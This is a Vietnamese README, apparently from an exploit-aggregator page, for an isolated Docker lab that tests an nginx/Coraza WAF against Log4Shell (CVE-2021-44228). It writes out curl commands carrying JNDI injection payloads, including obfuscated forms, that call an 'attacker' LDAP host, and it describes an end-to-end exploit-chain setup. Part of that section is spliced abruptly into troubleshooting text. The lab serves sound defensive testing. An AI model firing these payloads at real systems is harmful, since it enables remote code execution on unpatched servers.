Share
## https://sploitus.com/exploit?id=B3930E42-6310-557F-8259-07112CB81E44
# Log4Shell Security Lab — nginx + Coraza WAF
> **Mục đích giáo dục / phòng thủ**: lab này chứa app cố ý vulnerable (Log4j 2.14.1) và bộ exploit kit JNDI, **CHỈ** dùng để học cách phát hiện và chặn Log4Shell trong môi trường cô lập. Không deploy ra Internet, không dùng để tấn công hệ thống không thuộc về bạn.
Lab thực hành phòng thủ Log4Shell (CVE-2021-44228) bằng nginx tích hợp Coraza WAF (dynamic module) + OWASP CRS v4 + bộ rule custom JNDI. Đi kèm container target Spring Boot vulnerable, attacker-box Kali, và Suricata + Wazuh để quan sát.
---
## 1. Kiến trúc
```text
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
```
Request flow: `client → nginx (Coraza inspect) → log4shell-app`. WAF chạy **bên trong** nginx (qua module `ngx_http_coraza_module.so`), không phải container riêng.
---
## 2. Yêu cầu
| Item | Phiên bản tối thiểu |
| --- | --- |
| Docker Desktop / Engine | 24+ với Compose v2 |
| RAM trống | 4 GB (Wazuh ngốn ~1.5 GB) |
| Disk trống | 6 GB (image build artifact) |
| Thời gian build lần đầu | 10–15 phút (libcoraza + nginx module + Maven attacker tools) |
---
## 3. Bootstrap — chạy lần đầu
### Bước 3.1 — Build images
```bash
cd /path/to/log4shell-nginx-coraza
docker compose build
```
Stage chậm nhất là `nginx` (build libcoraza v1.4.0 với Go 1.25, sau đó compile coraza-nginx module). Cache lại sau lần đầu.
### Bước 3.2 — Khởi động stack
```bash
docker compose up -d
docker compose ps
```
Sau ~30s, status mong đợi:
| Service | STATUS |
| --- | --- |
| `nginx-proxy` | Up (healthy) |
| `victim-app` | Up |
| `kali-attacker` | Up |
| `wazuh-siem`, `wazuh-web` | Up |
| `suricata-ids` | có thể Restarting (xem mục 8 — không chặn lab) |
### Bước 3.3 — Smoke test
```bash
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
```
`curl http://localhost/` không có header `X-Api-Version` sẽ trả 400 — đó là Spring Boot whitelabel error (no handler), **không phải WAF chặn**.
---
## 4. Test WAF chặn Log4Shell
### Bước 4.1 — Payload cơ bản
```bash
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
```
Mong đợi: `HTTP/1.1 403 Forbidden`, body `... 403 Forbidden ... nginx ...`.
### Bước 4.2 — Payload obfuscated
```bash
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
```
### Bước 4.3 — JSON body payload
```bash
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
```
---
## 5. Inspect WAF logs
### Coraza audit log (JSON)
```bash
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
```
Mỗi event JSON Lines, có:
- `transaction.is_interrupted: true` → WAF chặn
- `messages[].error_message` → rule nào fire, file & line nào, severity
### nginx access log
```bash
docker exec nginx-proxy tail -f /var/log/nginx/access.log
```
Filter các block:
```bash
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
```
### Path mount trên host
```text
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
```
---
## 6. Exploit chain thực — attacker-box → log4shell-app
> Mặc định `backend-net` đặt `internal: true` và `attacker-box` chỉ ở `dmz-net`, nên log4shell-app KHÔNG reach được attacker-box. Để chain JNDI hoạt động end-to-end, làm bước 6.0 trước.
### Bước 6.0 — Cho phép log4shell-app gọi attacker-box
Sửa `docker-compose.yml`, thêm `attacker-box` vào `backend-net`:
```yaml
attacker-box:
networks:
- dmz-net
- backend-net # suricata/config/suricata.yaml`).
### log4shell-app exit ngay sau khi start
Image base trên Alpine 3.8 EOL. Đảm bảo command trong compose là `["java", "-jar", "/app/spring-boot-application.jar"]` (KHÔNG có `apk add iptables` — repo Alpine 3.8 đã 404).
### Wazuh dashboard không truy cập được `http://localhost:5601`
Wazuh manager + dashboard cần thêm `wazuh-indexer` (OpenSearch) để hoạt động đầy đủ. Stack hiện tại thiếu service đó — dashboard sẽ start nhưng login fail. Để sau khi cần thật, thêm service `wazuh-indexer` theo official compose.
---
## 9. Cleanup
```bash
# Stop + remove container, giữ image cache
docker compose down
# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v
# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
```
---
## 10. Cấu trúc thư mục
```text
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; ở http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # engine config + Include CRS + custom
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # custom JNDI rules, mount :ro vào nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # mount points cho nginx, coraza, app, suricata, wazuh
```
---
## 11. Rule ID reference
| Range | Phụ trách | Trùng range CRS? |
| --- | --- | --- |
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval) | (CRS sở hữu) |
| 1910000–1910999 | **Custom Log4Shell rules** | Không |
Toàn bộ rule ID custom hiện có: `1910001`–`1910008` (JNDI patterns), `1910010`–`1910014` (per-header), `1910015` (alt protocols), `1910020` (scanning detection), `1910026` (JSON body chain), `1910028` (XML body chain), `1910030` (paranoia 3), `1910999` (anomaly evaluation echo).
---
**Kết thúc**: nếu lab chạy được tới Bước 4 thì WAF đã hoạt động. Bước 6 chỉ cần khi muốn demo full exploit chain end-to-end.